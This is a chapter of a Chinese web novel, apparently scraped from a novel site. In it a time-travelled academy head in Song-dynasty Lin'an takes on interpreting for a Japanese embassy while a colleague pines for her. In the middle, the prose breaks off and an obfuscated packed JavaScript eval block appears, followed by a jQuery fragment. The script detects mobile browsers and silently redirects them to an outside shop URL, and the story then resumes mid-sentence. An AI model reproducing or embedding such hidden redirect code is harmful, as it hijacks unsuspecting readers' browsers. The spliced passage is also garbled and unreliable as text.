第二日清晨，书院的钟声刚响，便有一位身着公服的年轻人骑马来访，正是鸿胪寺的小吏。
他直奔山长位，拱手行礼道：“在下奉卢寺卿之命，就相助接待扶桑使团一事，特来请问吴山长之意。”
刚到书院不久的吴黛闻言微微一笑：“有劳了，请转告卢寺卿，我已与书院诸位先生商议过，乐意相助。”
那小吏面露喜色，忙奉上早已准备好的聘书：“卢寺卿吩咐，若吴山长应下此事，便命在下将此书转交。”
吴黛接过聘书，打开一看，只见聘书字迹工整，清楚阐明“使团通事”的职责与俸禄。
她提笔在落款处郑重签下姓名，心道鸿胪寺办事不仅效率高，还如此细致周到，看来她这趟差事应得颇为值得。
她道：“还请小哥转告卢寺卿，黛定不负所托。”
小吏行礼正要告辞，却听吴黛又道：“还有一事......不知届时可否允我带一两名学生前去历练历练？”
小吏恭敬道：“在下这就回去禀告，全凭卢寺卿定夺。”
“多谢！”
待小吏离去，吴黛立即召集朱又玄和姚冠杨商议。
“昨日已我已提过选学生跟随去鸿胪寺一事。”吴黛看着两人道，“今日此事既已正式应下，想再听听你们的意见。”
朱又玄抚须思索：“我还是推荐昨日说过的那几个：杜晔才学兼备，为人稳重；汪庸能言善辩，对外邦事物也尤为好奇；还有苏应辰，观察入微，遇事冷静沉着，皆可堪使团随行之任。”
吴黛点头，目光转向一直沉默的姚冠杨：“姚先生以为如何？”
姚冠杨垂眸不语，似是没有听见，不知在想什么。
吴黛咳一声，轻轻唤了他一声：“姚先生？”
“啊？”姚冠杨抬眼撞倒吴黛的目光，有些慌神，支吾了半晌才道，“我......我都同意，山长决断便是，学生们能有此机会，实在难得。”
“怎么？姚贤弟莫不是有什么顾虑？”朱又玄看看吴黛，又看看姚冠杨，“你担心山长安危？据我所知，那扶桑人虽看着凶蛮，实则很有礼仪。”
姚冠杨耳根微红：“非也非也，只是......只是......”
这几天他只要碰着吴黛，脑子便成了浆糊，此刻也是如此，“只是”了半天，也说不出个所以然。
朱又玄笑道：“你若担心，不如自荐做个护卫如何？”
姚冠杨面上更加尴尬，目光游移不定。
吴黛见状，淡然一笑：“朱先生别打趣了，鸿胪寺接待使团，定有专门的卫队和严密的守备，哪需要什么私人护卫？”
言罢，她便去斋室教课。
吴黛还未走远，朱又玄转头压低声音问道：“你俩拌嘴了？”
姚冠杨茫然地摇摇头，忽又点点头。
朱又玄失笑：“你这又摇头又点头的，到底是也不是啊？”
姚冠杨心想他们之间如今的状态，也根本算不得吵架，究竟是什么，他想了好几天也想不明白。此刻思来，仿佛只是吴黛单方面地......冷落他。
念及此，他深深叹了一口气道：“此事一言难尽。”
朱又玄虽不曾娶妻，却也不是没经过男女情事的毛头小子，劝道：“对待小娘子要多多忍让，莫要逞一时之强。”
姚冠杨点点头，眉头却越拧越紧。
朱又玄拍了拍他的肩膀以示安慰，不再多言。
***
又过了一日，卢定云派人送来回信，不仅准允云章学生前往，还特意邀请吴黛去鸿胪寺商议使团接待细节。
吴黛隔日便去了趟鸿胪寺拜见卢定云。
鸿胪寺位于临安城的左一厢，与云章书院一南一北，相隔甚远。
这日一早，吴黛没有去书院，直接与小菱从吴府坐马车出发。到了鸿胪寺，递上聘书名帖，便有小吏引她入内。
吴黛暗自打量鸿胪寺衙，只见庭院宽敞，古木参天，青砖黛瓦间透出庄肃之气。
来到寺卿廨，卢定云早已候着，见到吴黛便迎上来：“有劳吴山长跑一趟。”
吴黛谦逊回礼：“卢寺卿客气了。”
卢定云引她入座，奉上香茗，这才进入正题。
只见他从案上取出一份文书道：“这是使团名单，共三十二人。为首的是扶桑国王特使藤原宗平，此人略通汉语且有多次出使经验；其次是扶桑国博多港①的守护木村健太，他负责此行的商贸交流。此外还有扶桑禅宗僧人重明，他此行意在交流佛法，其余的便是随行属官、僧人、译者、护卫以及仆从若干。”
卢定云详细介绍完使团主要成员的身份职位，又补充道：“虽说使团此行主要为了呈递国书以及奉朝贡礼品，以彰显两国友好关系，顺带着进行商贸佛学交流，可从使团成员构成来看，恐怕他们更重视后者。”
吴黛也分析道：“重明禅师，再加上他几位高徒的随行意义非凡，想必他们对我们大宋的佛学传承极为向往，不知他们可有想拜访的寺院或高僧？”
卢定云道：“没错，重明几年前曾来临安住过一年，带回去一些佛经、佛像。此次再来，是想拜访净慈寺的圆慧大师，此节我已让净慈寺知晓。”
吴黛又问：“那使团此行，商贸方面可有侧重？是偏重器物、药材，还是航路与市价？若能提前知晓，也好在接待和席谈时有所准备，不至临场应对失措。”
卢定云暗惊于吴黛的前瞻性考量，道：“商贸交流方面，市舶司会参与，他们那边常与扶桑人打交道，清楚对方关切所在，我们不必操心太多。”
吴黛点点头，一一记在心里。
卢定云接着解释行程：“使团将于十三日后抵达临安，先在城外驿站稍作休整，再由鸿胪寺官员护送入城，安排住在都亭驿。第一日举行欢迎宴会，第二日为朝贡大典，之后便是安排参访佛寺与商贸交流，预计整个行程为期半个多月左右。”
朝贡大典在大内皇宫举行，自然由鸿胪寺官员陪同使者觐见天子。而商贸交流与佛法交流，分别由市舶司和净慈寺负责接待安排。吴黛需要出力的，主要是去驿站接使团入城和欢迎宴。
末了，卢定云特别强调道：“扶桑使者极为看重礼仪，尤其崇尚佛学，需会些佛学典故，而且他们惯于含蓄表达，切莫过于直接。”
吴黛一边点头，一边心中叫苦。
这礼仪规矩，含蓄措辞，照着旧例揣摩揣摩，总还能学个七七八八。佛学经典临时恶补一下，也并非全无可能。可要将经义转成日语，便不是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005445|189019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两日的功夫。这个年代没有网络、手机也就罢了，放眼整个临安城，恐怕连本日语词典都没有，她这点日语底子，还远不到脱离工具、凭空转译经文的地步。
苍天！海口她是夸下了，到时候出糗岂不会社死得很难看？
***
从鸿胪寺出来，吴黛立即吩咐小菱去书市：“尽量多买些佛经，尤其是《华严经》、《法华经》这类的。另外帮我找找有没有扶桑文的书籍，不管什么内容，只要是扶桑文字就行。”
小菱很是犹疑：“小娘子，扶桑文长什么样啊？”
吴黛略一思索，心想这个时代的日本人大约书面文字都是汉语，或许会用少许假名。
她马上捡了一根树枝，在泥沙多的路面上划了几个假名：“扶桑文多数与咱们的字差不多，不过也有他们自己的字体，大致是这样的，你记着些，到了书肆好辨认。
小菱仔细看了看，记在心里，转身就要离去。
吴黛又叫住她：“多带些银两，若是贵重典籍，不要心疼钱。”说罢，解下腰间荷包，尽数交给她。
小菱应下。
吴黛目送她离去，随后急着往书院赶。一路上，她都在思索对策。
虽然她有日语基础，但要翻译佛学经典谈何容易？况且大宋时代的佛经用语与现代语言恐怕更是天差地别。
这场接待使命，怕是比她想象的要艰难得多。
回到书院，她马不停蹄召集了选定的随行学生汪庸、苏应辰和顾炎平三人。
她把从卢定云那里了解到的信息一一讲给三人听，并安排三人分头准备礼仪知识和佛学典故。
虽说他三人只是重在参与，但也需有备无患。
杜晔本在人选之列，可不巧前日他外祖母去世，无心参加使团接待，便由顾炎平代替。
三名学生领命而去，吴黛却没歇着，又转身去了藏书楼。书院所藏，记载外邦风土人情的书籍本就寥寥，她仍耐着性子一册一册翻检，希望从零星记述中拼凑出几分可用之处。
忙碌了一整日，夜色已深。
吴黛回到吴府，踏入自己小院，却不见小菱的身影，不由心头一紧。
她在房内坐立不安，来回踱步。正焦虑间，门外传来一阵轻缓的脚步声。
吴黛忙奔去开门，不见小菱，只有姚冠杨立在门外。
见她脸色变幻，他脱口问道：“在等小菱？”
吴黛嗯了一声，心中微讶，这货最近都稀里糊涂的，怎么今日智商上线了？
她只纳闷了一霎，就接着发愁自己的事了，转身幽幽地走回圆桌旁坐下，单手托腮，垂眸楞楞地不说话。
姚冠杨看在眼里，也跟着进了屋，替她倒了一杯水，推到她手边，小心翼翼地问：“我......我能问一句，你在为什么发愁吗？”
吴黛掀了掀眼皮，盯着他看了一会儿。
姚冠杨被她看得有些不自在，下意识地摸了摸脸：“怎......怎么了？我脸上......有什么不妥？”
吴黛终是嗤地一声笑了。
她觉得自己现在跟那拔那啥无情的渣男差不多，平白惹得人家老实人犯晕，而且一晕还晕这么多天，如今连说话都这么低声下气。
罪过啊，罪过！